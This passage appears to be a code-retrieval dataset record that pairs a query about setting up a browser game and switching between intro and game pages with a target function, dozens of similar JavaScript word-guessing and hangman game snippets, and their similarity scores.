'none';\r\n this.activePhrase = this.getRandomPhrase();\r\n this.activePhrase.addPhraseToDisplay();\r\n }", "function final(any) {\n element.wordGuess.textContent = string[any]; // will show win or lose string property\n sound[any].play(); //will play win or lose sound\n score[any]++; //will increment win or lose score\n update(); \n setTimeout(function () { //timer so that you can enjoy the music and strings\n reset();\n }, 2000);\n }", "function startGame() {\n //show the words\n $(\".fiveWords\").show();\n //make button opaque\n document.getElementById(\"startGameButton\").style.opacity = .4;\n //disable start game\n startButton.disabled = true;\n //make button opaque\n document.getElementById(\"endGameButton\").style.opacity = 1;\n //enable the end button\n endButton.disabled = false;\n \n matchCheck = false;\n\n //display the text\n //$(\".fiveWords\").html(\"text\");\n insertWords();\n \n //change value of game over -- alec\n gameOver = false;\n \n //reset user word -- alec\n userWord = \"\";\n \n //game();\n \n //start the timer\n startTimer();\n \n}", "startGame() {\r\n // Add value attr to qwerty button elements\r\n const keyButtons = document.querySelectorAll(`button.key`);\r\n for (let i = 0; i < keyButtons.length; i++) {\r\n keyButtons[i].value = keyButtons[i].textContent;\r\n }\r\n // hide screen overlay\r\n const overlay = document.querySelector('#overlay');\r\n overlay.style.display = 'none';\r\n // call getRandomPhrase() to get phrase from array, store in activePhrase\r\n this.activePhrase = this.getRandomPhrase();\r\n // add the phrase to gameboard w/ addPhraseToDisplay()\r\n this.activePhrase.addPhraseToDisplay();\r\n\r\n }", "function changeToNextwords() {\n var myarray = fourTheme.act;\n var random = myarray[Math.floor(Math.random() * 6)];\n\n guessWord = random\n\n document.getElementById(\"newWords\").innerHTML = random;\n}", "startGame() {\n document.getElementById('overlay').style.display = 'none';\n this.activePhrase = this.getRandomPhrase();\n this.activePhrase.addPhraseToDisplay();\n }", "startGame() {\n document.getElementById(\"overlay\").style.display = \"none\";\n this.activePhrase = this.getRandomPhrase();\n this.activePhrase.addPhraseToDisplay();\n }", "function theMan(){\n\tstory(\"You are wandering along a sidewalk at midnight in near pitch black with only streetlights illuminating the path that you have chosen. You have plenty of time that you would want to waste but out of the corner of your eye you see a shadow of a man leaning against a building asking you to go talk with him. What do you want to do?\");\n\tchoices = [\"Walk Away\", \"Walk to him\", \"Call the police\"];\n\tanswer = setOptions(choices);\n}", "function select() {\n\t\tif (chosenCategory === randomWord[0]) {\n\t\t\tcategoryName.innerHTML = \"Category: Generation One\";\n\t\t} else if (chosenCategory === randomWord[1]) {\n\t\t\tcategoryName.innerHTML = \"Category: Generation Two\";\n\t\t}\n\t}", "startGame(){\n document.getElementById('overlay').style.display = 'none';\n this.activePhrase = this.getRandomPhrase();\n this.activePhrase.addPhraseToDisplay();\n }", "function beginGame(){\n noPressKey = false;\n document.getElementById(\"endScreen\").style.display = \"none\";\n guesses = \"\";\n turnsRemaining = 8;\n randWord = word[Math.floor(Math.random() * word.length)].toLowerCase();\n refreshDisplay();\n}", "startGame() {\n document.getElementById('overlay').style.display = 'none';\n\n this.activePhrase = this.getRandomPhrase();\n this.activePhrase.addPhraseToDisplay();\n }", "function init() {\n // selects new random word for guessing\n const randomWord = new RandomWord();\n\n // reset values for global variables\n string = \"\";\n guesses = 9;\n matchedLetters = 0;\n lettersUsed = [];\n\n // prompt user to start game\n inquirer.prompt([\n {\n type: \"confirm\",\n message: \"Do you want to play a guessing game?\\n\",\n name: \"playGame\"\n },\n ]).then(res => {\n if (res.playGame) {\n //console.log(word.wordArr);\n word.showWord(); // show blanks equal to the number of letters in word\n guessALetter(); // run guessing function\n } else {\n console.log(\"Good bye!\");\n }\n });\n}", "startGame(){\n document.querySelector('#overlay').style.display = 'none';\n this.activePhrase = this.getRandomPhrase();\n this.activePhrase.addPhraseToDisplay();\n }", "function selectWord( puzzleType ) {\n var categories = Object.keys(dictionary.category);\n var categoryIndex = Math.floor(Math.random() * categories.length);\n var categoryWords = dictionary.category[categories[categoryIndex]];\n var wordList = Object.keys(categoryWords);\n\n /*\n * The currently chosen category. Will be used later to indicate to the\n * player what kind of word they need to guess\n */\n window.currentCategory = Object.keys(dictionary.category)[categoryIndex];\n\n // Store the index so that we can reference it later\n var wordIndex = Math.floor(Math.random() * wordList.length);\n\n /*\n * The currently chosen word. Will be used later to create an actual puzzle\n * for the player to solve.\n */\n window.currentWord = wordList[wordIndex];\n\n if ( window.previousWords.includes(window.currentWord) ) {\n if ( window.previousWords.length < wordList.length)\n selectWord(puzzleType);\n }\n\n window.previousWords.push(window.currentWord);\n\n /*\n * Hint text for the currently chosen word. Will be used later when the player\n * requests a hint within the game\n */\n window.currentWordHint = dictionary.category[window.currentCategory][window.currentWord].hint;\n\n /*\n * Store each letter of that word in an array so that we can later check\n * if our guess is correct. All in lowercase.\n */\n window.correctLetters = window.currentWord.toLowerCase().split('');\n\n console.log(\"The word is: \" + window.currentWord);\n\n var selectedWord = \"\";\n\n if ( puzzleType == \"anagram\" ) {\n /* Shuffle the current word\n\n params: word - The word we want to scramble\n\n returns: shuffledWord - A scrambled string from the word\n\n Example use: shuffleWord(\"puzzle\") - Could return zuplez\n shuffleWord(\"classic\") - Could return lacsisc\n Source: https://stackoverflow.com/a/34025991\n */\n function shuffleWord( word ) {\n console.log(\"Shuffling word\");\n var shuffledWord = '';\n\n wordToShuffle = word.split('');\n\n while (wordToShuffle.length > 0) {\n /* Splice out one character and then bitwise shift the rest\n of the characters to the left\n */\n shuffledWord += wordToShuffle.splice(wordToShuffle.length * Math.random() << 0, 1);\n }\n\n return shuffledWord;\n }\n selectedWord = shuffleWord(window.currentWord);\n\n // Make sure we shuffled the word\n while ( selectedWord == window.currentWord ) {\n selectedWord = shuffleWord(window.currentWord);\n }\n\n }\n else if ( puzzleType = \"filltheblanks\" ) {\n /* Replace the word with a number of underscores equal to\n the length of the word.\n */\n function fillTheBlanks( word ) {\n console.log(\"Blanking word\");\n /*\n * Global variable blankedWord so we can use it to replace single\n * letters as they are guessed\n */\n window.blankedWord = [];\n\n for ( var letters = 0; letters < word.length; letters++ ) {\n blankedWord.push(\"_\");\n }\n\n return blankedWord;\n }\n\n selectedWord = fillTheBlanks(window.currentWord).join(' ');\n }\n\n // Return the selected word all in lowercase\n return selectedWord.toUpperCase();\n}", "startGame() {\n //Grab a new word\n words.RandomWord();\n //Disable Start button\n grabStartBTN.disabled = true;\n //Start the timer\n gameTimer();\n }", "function getRandomWords() {\n const $randomNumber = Math.floor(Math.random() * (chosenWordArray.length-1)); // gets random number between 0 - length of array\n console.log($randomNumber); // logs the random number in the console\n randomWord = chosenWordArray[$randomNumber]; // uses random number to choose random word from the array\n console.log(randomWord); // logs the random word chosen in the console\n jumbleWord(randomWord.toUpperCase()); // sends the random number to the jumbleWord function to jumble up the letters\n }", "generateWord() {\n var randomNumber = Math.floor(Math.random() * listOfWords.length)\n chosenWord = listOfWords[randomNumber]\n this.answer = chosenWord\n }", "function startGame(player, myWord){\n\tmyWord = new Word(Phrase.getRandomPhrase());\n\tplayer.reset();\n\tDisplay.displayResults(player, myWord);\n\tgetUserGuess(null, player, myWord);\n}", "function rndWord() {\n counter ++;\n if (correctCount == words.length) {\n showDone();\n return;\n }\n word = undefined;\n while (!word || word.learned) {\n word = words[Math.floor(Math.random() * words.length)];\n }\n showWord();\n}", "function selectWord() {\n var randomNumber0to1 = Math.random();\n var randomDecimal = randomNumber0to1 * artistsNames.length;\n var randomIndex = Math.floor(randomDecimal); \n currentWord = new Word(artistsNames[randomIndex]);\n}", "function prepareGame() {\n// defines the secret word\n secretWord = ['J','A','V','A','S','C','R', 'I', 'P', 'T'];\n\n \n// Step 1 TASK: call the drawWord and drawHangman function here (inside the prepareGame function). \ndrawWord()\ndrawHangman() \n}", "function newGame() {\n wins = 0;\n losses = 0;\n remainingGuesses = 12;\n lettersGuessed =[\"\"];\n targetWord = \"\";\n wordGen()\n}", "function startGame () {\n\twordAnswer = words[Math.floor(Math.random() * words.length)];\n\tlettersInWord = wordAnswer.split(\"\");\n\tblanks = lettersInWord.length;\n\tmanaLeft = 10;\n\tbadGuess = [];\n\tblanksAndSuccess = [];\n\n\tfor (var i = 0; i < blanks; i++) {\n\t\tblanksAndSuccess.push(\"_\");\n\t}\n\n\t$(\"#wordGuess\").html(blanksAndSuccess.join(\" \"));\n\t$(\"manaLeft\").html(manaLeft);\n\t$(\"spellsCast\").html(wins);\n\t$(\"spellFizzles\").html(losses);\n\n}", "function play(){\n randNum = Math.floor(Math.random() * words.length);\n choosenWord = words[randNum];\n rightword = [];\n wrongword = [];\n underscore = [];\n remains = 10;\n document.getElementById(\"underscore\").textContent = generateUnderscore();\n document.getElementById(\"underscore\").textContent = underscore;\n document.getElementById(\"right\").textContent = rightword;\n document.getElementById(\"wrong\").textContent = wrongword;\n \n console.log(choosenWord)\n\n}", "function getRandomWord() {\n // array taken from https://gist.github.com/borlaym/585e2e09dd6abd9b0d0a\n wordList = [\n \"Aardvark\",\n \"Albatross\",\n \"Alligator\",\n \"Alpaca\",\n \"Ant\",\n \"Anteater\",\n \"Antelope\",\n \"Ape\",\n \"Armadillo\",\n \"Donkey\",\n \"Baboon\",\n \"Badger\",\n \"Barracuda\",\n \"Bat\",\n \"Bear\",\n \"Beaver\",\n \"Bee\",\n \"Bison\",\n \"Boar\",\n \"Buffalo\",\n \"Butterfly\",\n \"Camel\",\n \"Capybara\",\n \"Caribou\",\n \"Cassowary\",\n \"Cat\",\n \"Caterpillar\",\n \"Cattle\",\n \"Chamois\",\n \"Cheetah\",\n \"Chicken\",\n \"Chimpanzee\",\n \"Chinchilla\",\n \"Chough\",\n \"Clam\",\n \"Cobra\",\n \"Cockroach\",\n \"Cod\",\n \"Cormorant\",\n \"Coyote\",\n \"Crab\",\n \"Crane\",\n \"Crocodile\",\n \"Crow\",\n \"Curlew\",\n \"Deer\",\n \"Dinosaur\",\n \"Dog\",\n \"Dogfish\",\n \"Dolphin\",\n \"Dotterel\",\n \"Dove\",\n \"Dragonfly\",\n \"Duck\",\n \"Dugong\",\n \"Dunlin\",\n \"Eagle\",\n \"Echidna\",\n \"Eel\",\n \"Eland\",\n \"Elephant\",\n \"Elk\",\n \"Emu\",\n \"Falcon\",\n \"Ferret\",\n \"Finch\",\n \"Fish\",\n \"Flamingo\",\n \"Fly\",\n \"Fox\",\n \"Frog\",\n \"Gaur\",\n \"Gazelle\",\n \"Gerbil\",\n \"Giraffe\",\n \"Gnat\",\n \"Gnu\",\n \"Goat\",\n \"Goldfinch\",\n \"Goldfish\",\n \"Goose\",\n \"Gorilla\",\n \"Goshawk\",\n \"Grasshopper\",\n \"Grouse\",\n \"Guanaco\",\n \"Gull\",\n \"Hamster\",\n \"Hare\",\n \"Hawk\",\n \"Hedgehog\",\n \"Heron\",\n \"Herring\",\n \"Hippopotamus\",\n \"Hornet\",\n \"Horse\",\n \"Human\",\n \"Hummingbird\",\n \"Hyena\",\n \"Ibex\",\n \"Ibis\",\n \"Jackal\",\n \"Jaguar\",\n \"Jay\",\n \"Jellyfish\",\n \"Kangaroo\",\n \"Kingfisher\",\n \"Koala\",\n \"Kookabura\",\n \"Kouprey\",\n \"Kudu\",\n \"Lapwing\",\n \"Lark\",\n \"Lemur\",\n \"Leopard\",\n \"Lion\",\n \"Llama\",\n \"Lobster\",\n \"Locust\",\n \"Loris\",\n \"Louse\",\n \"Lyrebird\",\n \"Magpie\",\n \"Mallard\",\n \"Manatee\",\n \"Mandrill\",\n \"Mantis\",\n \"Marten\",\n \"Meerkat\",\n \"Mink\",\n \"Mole\",\n \"Mongoose\",\n \"Monkey\",\n \"Moose\",\n \"Mosquito\",\n \"Mouse\",\n \"Mule\",\n \"Narwhal\",\n \"Newt\",\n \"Nightingale\",\n \"Octopus\",\n \"Okapi\",\n \"Opossum\",\n \"Oryx\",\n \"Ostrich\",\n \"Otter\",\n \"Owl\",\n \"Oyster\",\n \"Panther\",\n \"Parrot\",\n \"Partridge\",\n \"Peafowl\",\n \"Pelican\",\n \"Penguin\",\n \"Pheasant\",\n \"Pig\",\n \"Pigeon\",\n \"Pony\",\n \"Porcupine\",\n \"Porpoise\",\n \"Quail\",\n \"Quelea\",\n \"Quetzal\",\n \"Rabbit\",\n \"Raccoon\",\n \"Rail\",\n \"Ram\",\n \"Rat\",\n \"Raven\",\n \"Red deer\",\n \"Red panda\",\n \"Reindeer\",\n \"Rhinoceros\",\n \"Rook\",\n \"Salamander\",\n \"Salmon\",\n \"Sand Dollar\",\n \"Sandpiper\",\n \"Sardine\",\n \"Scorpion\",\n \"Seahorse\",\n \"Seal\",\n \"Shark\",\n \"Sheep\",\n \"Shrew\",\n \"Skunk\",\n \"Snail\",\n \"Snake\",\n \"Sparrow\",\n \"Spider\",\n \"Spoonbill\",\n \"Squid\",\n \"Squirrel\",\n \"Starling\",\n \"Stingray\",\n \"Stinkbug\",\n \"Stork\",\n \"Swallow\",\n \"Swan\",\n \"Tapir\",\n \"Tarsier\",\n \"Termite\",\n \"Tiger\",\n \"Toad\",\n \"Trout\",\n \"Turkey\",\n \"Turtle\",\n \"Viper\",\n \"Vulture\",\n \"Wallaby\",\n \"Walrus\",\n \"Wasp\",\n \"Weasel\",\n \"Whale\",\n \"Wildcat\",\n \"Wolf\",\n \"Wolverine\",\n \"Wombat\",\n \"Woodcock\",\n \"Woodpecker\",\n \"Worm\",\n \"Wren\",\n \"Yak\",\n \"Zebra\"\n ];\n\n var x = Math.floor((Math.random() * wordList.length));\n return wordList[x].toUpperCase();\n }", "startGame() {\r\n const overlay = document.querySelector('#overlay');\r\n overlay.style.display = 'none';\r\n this.activePhrase = this.getRandomPhrase();\r\n this.activePhrase.addPhraseToDisplay();\r\n }", "startGame() {\r\n const overlay = document.querySelector('#overlay');\r\n overlay.style.display = 'none';\r\n\r\n this.activePhrase = this.getRandomPhrase();\r\n this.activePhrase.addPhraseToDisplay();\r\n\r\n }", "function setUpGame(){\n var chosenWord = halloweenWords[Math.floor(Math.random() * halloweenWords.length)];\n console.log(chosenWord);\n//Put the letters in chosenWord as array.\n chosenWordLetters = chosenWord.split(\"\");\n//Loop through the amount of letters in the chosen word and display a blank for each.\n wordBlanks = [];\n for(var i = 0; i < chosenWordLetters.length; i++){\n wordBlanks.push(\"_ \");\n }; \n $(\"#wordBlanks\").text(wordBlanks.join(\"\"));\n//Update wins, guesses left and empty lettersGuessed div.\n $(\"#wins\").text(wins);\n guessesLeft = 10;\n $(\"#guessesLeft\").text(guessesLeft);\n lettersGuessed = [];\n $(\"#lettersGuessed\").empty();\n }", "function startGame() {\n // Randomly selecting a word from our array\n wordUsedForGame = hangManWordChoices[Math.floor(Math.random() * hangManWordChoices.length)];\n // creating a new word object with the random word\n wordConstructed = new Word(wordUsedForGame);\n // calling the renderWord function to push the letters into the word\n wordConstructed.renderWord();\n\n console.log(\"\\n\");\n console.log(\"Guess The Word. You have 7 chances to get it Right!!!\");\n console.log(\" Hint: The Words are computer Languages \\n\");\n\n // Displaying the dashes based on the word selected using the Word display function \n // they will be dashes because the guessed is set to false\n console.log(wordConstructed.display());\n console.log(\"\\n\");\n\n // calling askLetters to run the game\n askLetters();\n\n\n}", "startGame() {\n $('#overlay').slideUp(1500);\n this.activePhrase = this.getRandomPhrase();\n gamePhrase = new Phrase(this.activePhrase);\n gamePhrase.addPhraseToDisplay(); \n }", "function startGame(){\t\n\tvar audio = document.getElementById(\"audio1\");\n\taudio.pause();\n\tchangeVideo(\"start\");\n\trandomWordNum = Math.ceil(Math.random()*dictionary.length); //random word from dictionary is selected\n\tword = dictionary[randomWordNum-1];\n\tnumGuesses = 7;\n\tcorrectGuesses=0;\n\tguessArray = new Array();\n\t$(\"#lettersGuessed\").empty();\n\t$(\"#letterBox\").html(generateWordBox(word.length));\n\t$(\"#guessesRemaining\").html(numGuesses);\n\twriteScore();\n\t$(\".buttonControl\").css({\"visibility\": \"hidden\"});\n\tendGame = false;\n}", "startGame(){\n const overlay = document.querySelector(\"#overlay\");\n overlay.style.display = 'none';\n this.activePhrase = this.getRandomPhrase();\n this.activePhrase.addPhraseToDisplay();\n }", "function newGame() {\n lifes = 10;\n $(\".guessesRemaining\").html(\"GuessesLeft : \" + lifes);\n lettersguessed = [];\n $(\"#lettersGuessed\").html(\"Letters Guessed : \" + lettersguessed);\n starter = [Math.floor(Math.random() * letters.length)];\n chosenLetter = letters[starter];\n console.log(\"Choose letter\" + chosenLetter);\n }", "function init() {\n let movieChoosen = movies[Math.floor(Math.random() * (movies.length))];\n createLetters(movieChoosen.name);\n createWord(movieChoosen.name);\n initEventButtons(movieChoosen);\n\n}", "function chooseWord() {\n // Create random number from 0 to wordBank index max\n let random = getRandInt(0, wordBank.length - 1);\n // Create currentWord object with random word from wordBank\n currentWord = new Word(wordBank[random]);\n\n // Create letter objects and add them to letters in word object\n currentWord.generateLetters();\n // Removes the currentWord from wordBank so that it cannot be\n // selected again in the same game\n wordBank.splice(random, 1);\n}", "function playGame() {\n\n var newWord = wordArray[Math.floor(Math.random() * wordArray.length)]\n //First we pick our new word randomly from the word array\n var word = new Word(newWord);\n\n //The user gets 10 incorrect tries before the game is over.\n numGuesses = 10;\n\n // Clear hashset.\n userInput = new HashSet()\n\n //Now we execute the game based on the word.\n guessWord(word, newWord);\n\n}", "function showNewWord(){\n// document.getElementById(\"wordToType\").innerHTML=\" \";\n $(\"#wordBox\").val(\"\");\n// $(\"#wordToType\").html(words[index][0]);\n if (words.length === alreadyUsed.length){\n endGame();\n }\n console.log(\"choosing word\");\n chooseWord();\n document.getElementById(\"wordToType\").innerHTML= words[index][0];\n\n }", "function wordSelect() {\n // Select a word\n //Math.floor(Math.random() * (max - min) + min)\n let rnd = Math.floor(Math.random() * wordBank.length);\n\n let word = wordBank[rnd].toLowerCase();\n // let word = \"node js\"; // for testing\n //console.log(word);\n \n let result = new Word(word);\n // store the word\n return result;\n}", "startGame() {\n const overlay = document.getElementById('overlay');\n\n overlay.style.display = 'none'\n this.activePhrase = this.getRandomPhrase()\n this.activePhrase.addPhraseToDisplay()\n }", "function startGame(){\r\n\t \r\n\t let dumDumDum = [];\r\n\t for( iii=0; iii < randomWord.length ; iii++){\t\t\t\r\n\t\t\tdumDumDum.push(\"_\");\r\n\t } \r\n\t// Change the game textcontents to starting values\r\n\tdocument.querySelector(\".the_word\").innerHTML =\"The word: \"+dumDumDum+\" \";\r\n\tdocument.querySelector(\".guesses\").innerHTML =\"Guesses: \";\r\n\tdocument.querySelector(\".guesses_left\").innerHTML =\"Wrong guesses left: \"+livesLeft+\" \"; \t \r\n }", "startGame() {\n let overlayElement = document.getElementById('overlay');\n overlayElement.style.display = \"none\";\n this.activePhrase = this.getRandomPhrase();\n this.activePhrase.addPhraseToDisplay();\n }", "function gameChoice() {\n gameSelected = playerOptions[Math.floor(Math.random() * playerOptions.length)];\n document.getElementById('game-ans-round').className = `far fa-hand-${gameSelected}`;\n document.getElementById('game-ans-game').className = `far fa-hand-${gameSelected}`;\n document.getElementById('game-answer').innerHTML = `${gameSelected}`;\n}", "randomWord() {\n return this.randomOption(this.words);\n }", "startGame() {\r\n document.getElementById('overlay').style.display = \"none\"\r\n this.activePhrase = this.getRandomPhrase();\r\n this.activePhrase.addPhraseToDisplay();\r\n splitPhraseArray = this.activePhrase.phrase.split('');\r\n }", "function resetWord() {\n index = Math.floor(Math.random() * colors.length);\n chosenWord = colors[index];\n underScore = [];\n guessesLeft = 5;\n guessedLetters = [];\n wrongLetters = [];\n console.log(chosenWord);\n updateDomElements();\n generateUnderScore();\n audio.play();\n}", "startGame() {\n const divOverlay = document.querySelector('#overlay');\n divOverlay.style.display = 'none';\n const randomPhrase = this.getRandomPhrase();\n randomPhrase.addPhraseToDisplay();\n this.activePhrase = randomPhrase;\n\n }", "function gameStart() {\n console.log(\"click\")\n // get a random word from the wordlist array\n if(wordlist.length >0){\n var random = Math.floor(Math.random() * wordlist.length);\n randomword=wordlist[random]\n wordlist.splice(random, 1)\n console.log(randomword);\n}\n //iterate through the randowm word to define how many underscores we need to display on page\n for (var i = 0; i < randomword.length; i++) {\n // push methd to put that number of underscore in the array\n \n underscore.push(\"_\")\n \n \n }\n // randomword.map(function(underscores){\n \n // })\n // get the id so we can display it on html\n document.getElementById('wordspaces').textContent = underscore.join(' ')\n\n // the number of guesses is the same as the word being played\n guessesleft = randomword.length;\n console.log(guessesleft)\n // display that number of guesses on html\n document.getElementById('guesses-left').textContent = `Guesses Left: ${guessesleft}`\n\n //display the letters the user can use\n for (var i = 0; i < letters.length; i++) {\n var button = document.createElement(\"button\");\n button.setAttribute(\"name\", letters[i]);\n button.setAttribute(\"id\", \"letterbutton\");\n button.classList.add(\"button\", \"buttonspace\");\n button.textContent = letters[i];\n document.getElementById(\"letterbuttons\").append(button)\n \n \n }\n\n\n\n\n\n\n // wins and losses \n\n document.getElementById(\"wins\").textContent = `wins: ${wins}`;\n document.getElementById(\"losses\").textContent = `losses: ${losses}`;\n\n //to put the pictures and the hints up in this document and link them to the right word.\n //still missing this part!\n \n}", "startGame() {\r\n this.activePhrase = this.getRandomPhrase();\r\n this.activePhrase.addPhraseToDisplay();\r\n const overlay = document.querySelector('#overlay');\r\n overlay.style.display = 'none';\r\n }", "startGame() {\n let hideScreen = document.getElementById('overlay')\n hideScreen.style.display = 'none'\n this.activePhrase = this.getRandomPhrase()\n this.activePhrase.addPhraseToDisplay()\n }", "function ComputerPlayCycle()\n{\n //select a random variable from the array\n computer_selection = selection_array[Math.floor(Math.random() * selection_array.length)];\n //initiate the engagement phase of the round\n DefendPhrase(computer_selection);\n PlayRound(player_selection, computer_selection);\n}", "function startGame() {\n $(document).ready();\n GenerateWord();\n createLetterHolders();\n}", "startGame(){\n console.log(this.phrase_num);\n document.getElementById('overlay').style.display = 'none';\n \n this.activePhrase = this.getRandomPhrase();\n document.getElementById(\"hint\").textContent = \"Hint: \" + this.activePhrase.hint;\n \n console.log(this.activePhrase);\n this.activePhrase.addPhraseToDisplay();\n\n \n \n }", "function getWord(){\nrdm = Math.floor((Math.random() * words.length-1) + 1);\n console.log('Word: ' + words[rdm]);\nconsole.log('Random: ' + rdm)\ndocument.getElementById(\"printWord\").innerHTML = words[rdm];\ndocument.getElementById(\"cajatexto\").value =\"\";\nfocusTextBox();\ndspWord = words[rdm];\ndraw();\n}" ]
[ "0.7709847", "0.75873333", "0.7454933", "0.7442812", "0.73714185", "0.7286513", "0.72687286", "0.7227565", "0.72204244", "0.72175497", "0.72062206", "0.7153387", "0.71022534", "0.70751", "0.70326334", "0.69966304", "0.6983543", "0.6976088", "0.6935069", "0.6875326", "0.68376243", "0.68065065", "0.6798554", "0.6795845", "0.6765306", "0.67621344", "0.6761089", "0.67548174", "0.6752707", "0.67523974", "0.6741672", "0.67382735", "0.6734894", "0.6727298", "0.6725814", "0.6718128", "0.6707988", "0.6703179", "0.67007375", "0.669598", "0.6690594", "0.6685432", "0.66847336", "0.6680143", "0.6675296", "0.6673794", "0.6660987", "0.66585344", "0.6653582", "0.6652069", "0.6641973", "0.6631207", "0.66240174", "0.66214603", "0.6621306", "0.66206026", "0.6615174", "0.66086733", "0.6605287", "0.6605078", "0.65950364", "0.6590427", "0.65894616", "0.65865564", "0.65813124", "0.65763265", "0.65757555", "0.6573213", "0.6561625", "0.65603787", "0.6559813", "0.6551653", "0.65479565", "0.654559", "0.65446275", "0.65444535", "0.6541438", "0.65365076", "0.65296763", "0.6521583", "0.6520858", "0.651987", "0.6518086", "0.65151495", "0.6512967", "0.6506417", "0.6495257", "0.6494684", "0.6490188", "0.6485066", "0.6484767", "0.64845985", "0.64844733", "0.6482825", "0.6478125", "0.64727867", "0.6470101", "0.64698815", "0.64674693", "0.64661264" ]
0.75366974
2
general game setup, toggle between into page and game page
function setupGame() { intro.style.display = 'none'; for (i = 0; i < secretWord.length; i++) { wordToDisplay += "_ "; } guessesLeftMessage.textContent = "You have " + incorrectGuessesLeft + " incorrect guesses remaining."; displayWord.textContent = wordToDisplay; lettersGuessed.textContent = "Letters guessed: "; displayMessage.style.display = 'none'; gameStart.style.display = 'initial'; // start with 1 and skip 2 each time, every other node is a text and we only want images for (let i = 1; i <= 11; i += 2) { guessPics.childNodes[i].style.display = 'none'; } guessPics.childNodes[displayImage].style.display = 'initial'; resetButton.style.display = 'none'; document.querySelector('.letterGuess').focus(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function setupGame() { console.log(\"in setupGame\");\n\n\t//console.log(\"here setupGame\");\n\n\t$(\"#startPage\").show();\n\t$(\"#content\").hide();\n\t$(\"#questionPage\").hide();\n\t$(\"#answerPage\").hide();\n\t$(\"#scorePage\").hide();\n\n}", "function setup(){\r\n document.getElementById('homeButton').setAttribute('href', '/home/' + thisUser.id);\r\n document.getElementById('profileButton').setAttribute('href', '/profile/' + thisUser.id);\r\n\r\n //setting up the buttons in the setting menu\r\n document.getElementById('toggleIsGameFinished').setAttribute('class', 'buttonIsNotToggled');\r\n document.getElementById('toggleIsGameFinished').addEventListener('click', function(){\r\n if(document.getElementById('toggleIsGameFinished').className === 'buttonIsNotToggled'){\r\n //then toggle it\r\n document.getElementById('toggleIsGameFinished').setAttribute('class', 'buttonIsToggled');\r\n isGameFinished = true;\r\n }else{\r\n document.getElementById('toggleIsGameFinished').setAttribute('class', 'buttonIsNotToggled');\r\n isGameFinished = false;\r\n }\r\n sendSearch();\r\n\r\n });\r\n\r\n document.getElementById('toggleIsGameOngoing').setAttribute('class', 'buttonIsNotToggled');\r\n document.getElementById('toggleIsGameOngoing').addEventListener('click', function(){\r\n if(document.getElementById('toggleIsGameOngoing').className === 'buttonIsNotToggled'){\r\n //then toggle it\r\n document.getElementById('toggleIsGameOngoing').setAttribute('class', 'buttonIsToggled');\r\n isGameOngoing = true;\r\n }else{\r\n document.getElementById('toggleIsGameOngoing').setAttribute('class', 'buttonIsNotToggled');\r\n isGameOngoing = false;\r\n }\r\n sendSearch();\r\n });\r\n\r\n console.log(\"Menu is loaded\");\r\n}", "switchToGamePage() {\n if (this.currentPage !== null) {\n this.currentPage.hide();\n }\n Utility.RemoveElements(this.mainDiv);\n this.mainDiv.appendChild(this.gamePage.getDiv());\n this.currentPage = this.gamePage;\n this.gamePage.show();\n }", "function startGame(){\n getDictionary();\n var state = $.deparam.fragment();\n options.variant = state.variant || options.variant;\n makeGameBoard();\n loadState();\n }", "function startGame() {\n $(\".landing-menu\").hide();\n $(\".game-section\").show();\n $(\".userButtons\").show();\n }", "function initPage() {\n renderLevelsButtons();\n initGame();\n}", "function load_create_game_page() {\n page = 'create_game';\n load_page();\n}", "function menuGame(){\n startScene.visible = true;\n helpScene.visible = false;\n gameOverScene.visible = false;\n gameScene.visible = false;\n}", "function startGame() {\n //hide the deal button\n hideDealButton();\n //show the player and dealer's card interface\n showCards();\n //deal the player's cards\n getPlayerCards();\n //after brief pause, show hit and stay buttons\n setTimeout(displayHitAndStayButtons, 2000);\n }", "go() {\n\t\tthis.context.analytics.record(\"Game Loaded\");\n\t\tthis._$template.css({ \"visibility\": \"visible\"}).hide().fadeIn();\n\t\tthis._$start = $(\".start\", this._$template);\n\n\t\tthis._$start.on('click', (e) => {\n\t\t\te.preventDefault();\n\t\t\tthis._$template.fadeOut(() => {\n\t\t\t\tthis.nextState(\"playing\");\n\t\t\t});\n\t\t});\n\t}", "function changePage() {\n var startPage = document.getElementById(\"start-page\");\n var gamePage = document.getElementById(\"game-page\");\n if (startPage.style.display == \"none\") {\n startPage.style.display = \"block\";\n gamePage.style.display = \"none\";\n } else {\n startPage.style.display = \"none\";\n gamePage.style.display = \"block\";\n }\n}", "function initGame(){\n gamemode = document.getElementById(\"mode\").checked;\n \n fadeForm(\"user\");\n showForm(\"boats\");\n \n unlockMap(turn);\n \n player1 = new user(document.user.name.value);\n player1.setGrid();\n \n turnInfo(player1.name);\n bindGrid(turn);\n}", "function startGame() {\n gameScreen=1;\n}", "function gameStart() {\r\n newgame.disabled = true;\r\n holdHand.disabled = false;\r\n hit.disabled = false;\r\n }", "function setGameState() {\n if (currentObjectID === objs.length - 1) {\n finishGame();\n }\n else {\n currentObjectID++;\n }\n populatePageContent(currentObjectID);\n}", "function startGame() {\n\tupdateGameState()\n\tmoveTetroDown()\n}", "function showGameTypes(){\r\n //Checks currentPage value\r\n // if not equal to null then hide the page, this helps to toggle the pages between different levels\r\n if (currentPage != null){\r\n currentPage.classList.add(\"hide\");\r\n }\r\n //Checks if the page is already defined or not\r\n // This halts multiple creation of the same page\r\n if (typeof window.gameTypePage === \"undefined\") {\r\n //menu page is created as a div element\r\n window.gameTypePage=createDiv();\r\n //style is provided to display of the page\r\n gameTypePage.classList.add(\"page\");\r\n //There are three game types in menu page each with different image\r\n /*\r\n Each image represents the game type\r\n and event handler is added to display the respective gaming page.\r\n Different styles are added to each element.\r\n */\r\n // Arithmetic operations game\r\n var game1= createImage(\"images/upgrade_grenade.png\");\r\n game1.classList.add(\"menuImage\");\r\n game1.classList.add(\"menuImage1\");\r\n game1.setAttribute(\"title\",\"ARITHMETIC OPERATIONS\");\r\n game1.onclick=selectGames;\r\n // Spelling the numbers game\r\n var game2= createImage(\"images/upgrade_grenade_2.png\");\r\n game2.classList.add(\"menuImage\");\r\n game2.setAttribute(\"title\",\"SPELL THE NUMBERS\");\r\n game2.onclick=showSpellGameLevels;\r\n //Counting the numbers game\r\n var game3= createImage(\"images/upgrade_grenade_3.png\");\r\n game3.classList.add(\"menuImage\");\r\n game3.setAttribute(\"title\",\"COUNTING NUMBERS\");\r\n game3.onclick=showMovingGame;\r\n\r\n // Back button to go back to the main page and this is added to a div to added specific styles\r\n var backBtnDiv=createDiv(\"menuBackbtnDiv\");\r\n var backBtn=createButton(\"Back\",\"menuBackbtn\");\r\n backBtn.addEventListener('click', function(){\r\n loadApp();\r\n });\r\n // Adds back button to the back button div\r\n 